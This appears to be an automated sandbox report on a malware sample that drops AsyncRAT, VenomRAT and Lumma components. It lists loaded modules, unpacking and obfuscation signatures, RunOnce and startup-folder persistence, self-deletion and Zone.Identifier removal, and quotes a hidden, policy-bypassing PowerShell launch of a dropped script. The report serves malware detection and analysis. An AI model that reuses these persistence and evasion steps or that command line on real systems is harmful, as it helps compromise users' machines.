Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: FpiUD4nYpj.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: System.Core.pdb(khvD source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: rust_dave_sideload.pdb source: vm.exe, 00000012.00000002.4127183410.000000006CA98000.00000002.00000001.01000000.00000015.sdmp, lm.exe, 00000013.00000002.3195290349.000000006CA28000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 00000019.00000002.3262778994.000000006CA98000.00000002.00000001.01000000.00000015.sdmp, g2m.dll0.14.dr
Source: Binary string: System.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr
Source: Binary string: BitLockerToGo.pdb source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C000800000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564338018.000001A460D90000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564243556.000001A460DD0000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C0008E6000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb& source: powershell.exe, 0000000E.00000002.2733250356.000002EC2EF61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2EF1E000.00000004.00000800.00020000.00000000.sdmp, vm.exe.14.dr, lm.exe.14.dr
Source: Binary string: System.pdb) source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Configuration.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: mscorlib.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr
Source: Binary string: BitLockerToGo.pdbGCTL source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C000800000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564338018.000001A460D90000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564243556.000001A460DD0000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C0008E6000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: System.Configuration.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.ni.pdbRSDS# source: WERA01C.tmp.dmp.28.dr
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb source: powershell.exe, 0000000E.00000002.2733250356.000002EC2EF61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2EF1E000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000012.00000000.2710580492.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe, 00000012.00000002.4109799058.0000000000402000.00000002.00000001.01000000.00000013.sdmp, lm.exe, 00000013.00000000.2710612115.0000000000402000.00000002.00000001.01000000.00000014.sdmp, lm.exe, 00000013.00000002.3156773768.0000000000402000.00000002.00000001.01000000.00000014.sdmp, vm.exe, 00000019.00000000.2826688017.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe, 00000019.00000002.3132755936.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe.14.dr, lm.exe.14.dr
Source: Binary string: System.Core.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Windows.Forms.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: mscorlib.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: mscorlib.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Windows.Forms.pdb- source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Core.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Unpacked PE file: 0.2.FpiUD4nYpj.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cis:R;.yureg:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jjistfr Unpacked PE file: 3.2.jjistfr.400000.0.unpack .text:ER;.rdata:R;.data:W;.cis:R;.yureg:W;.rsrc:R; vs .text:EW;
.NET source code contains potential unpacker
Source: 18.2.vm.exe.29e0000.1.raw.unpack, ClientSocket.cs .Net Code: Invoke System.AppDomain.Load(byte[])
Source: 25.2.vm.exe.4e40000.1.raw.unpack, ClientSocket.cs .Net Code: Invoke System.AppDomain.Load(byte[])
Suspicious powershell command line found
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1" Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA764F0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess, 18_2_6CA764F0
PE file contains sections with non-standard names
Source: FpiUD4nYpj.exe Static PE information: section name: .cis
Source: FpiUD4nYpj.exe Static PE information: section name: .yureg
Source: 34CA.exe.1.dr Static PE information: section name: .xdata
Source: jjistfr.1.dr Static PE information: section name: .cis
Source: jjistfr.1.dr Static PE information: section name: .yureg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00403230 push eax; ret 0_2_00403302
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004026FF push ecx; ret 0_2_0040270B
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_026E168F push esi; retf 0_2_026E16BC
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_026E2766 push ecx; ret 0_2_026E2772
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_02735863 push ss; retf 0_2_02735876
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_0272D867 push eax; retf 0_2_0272D87D
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_02736C2B pushad ; retf 0_2_02736CA4
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_02736C0C pushad ; retf 0_2_02736CA4
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_027354BF push edi; retf 0_2_027354CA
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_027358A4 push ss; retf 0_2_02735876
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_02735485 push edi; retf 0_2_027354CA
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00403230 push eax; ret 3_2_00403302
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004026FF push ecx; ret 3_2_0040270B
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0256168F push esi; retf 3_2_025616BC
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_02562766 push ecx; ret 3_2_02562772
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0259684B pushad ; retf 3_2_025968C4
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0259682C pushad ; retf 3_2_025968C4
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_025950DF push edi; retf 3_2_025950EA
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_025954C4 push ss; retf 3_2_02595496
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_02595483 push ss; retf 3_2_02595496
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_025950A5 push edi; retf 3_2_025950EA
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A7075 pushad ; iretd 10_2_00007FFD9B9A709A
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A6FF8 pushad ; iretd 10_2_00007FFD9B9A709A
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A6FD3 pushad ; iretd 10_2_00007FFD9B9A709A
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9AE72A push eax; ret 10_2_00007FFD9B9AE72B
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9AE73A pushad ; ret 10_2_00007FFD9B9AE73B
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A0DFE push eax; retf 10_2_00007FFD9B9A0E1D
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A0DD5 push eax; ret 10_2_00007FFD9B9A0DFD
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9BA923E1 push 8B485F90h; iretd 10_2_00007FFD9BA923E6
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9BA9238C push 8B485F90h; iretd 10_2_00007FFD9BA92391
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9BA919EB push edi; iretd 10_2_00007FFD9BA919EC
Source: FpiUD4nYpj.exe Static PE information: section name: .text entropy: 7.772500849471365
Source: jjistfr.1.dr Static PE information: section name: .text entropy: 7.772500849471365
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\g2m.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\BD9E.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\2FBE.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\g2m.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\34CA.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jjistfr Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jjistfr Jump to dropped file

Boot Survival
barindex
Yara detected AsyncRAT
Source: Yara match File source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 5804, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5252, type: MEMORYSTR
Creates autostart registry keys with suspicious names
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#0005_8yUscnjrUY Jump to behavior
Drops VBS files to the startup folder
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs
Stores files to the Windows start menu directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#0005_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#0005_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#0005_8yUscnjrUY Jump to behavior
Source: C:\Windows\explorer.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update#0005_8yUscnjrUY Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\fpiud4nypj.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\jjistfr:Zone.Identifier read attributes | delete Jump to behavior
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
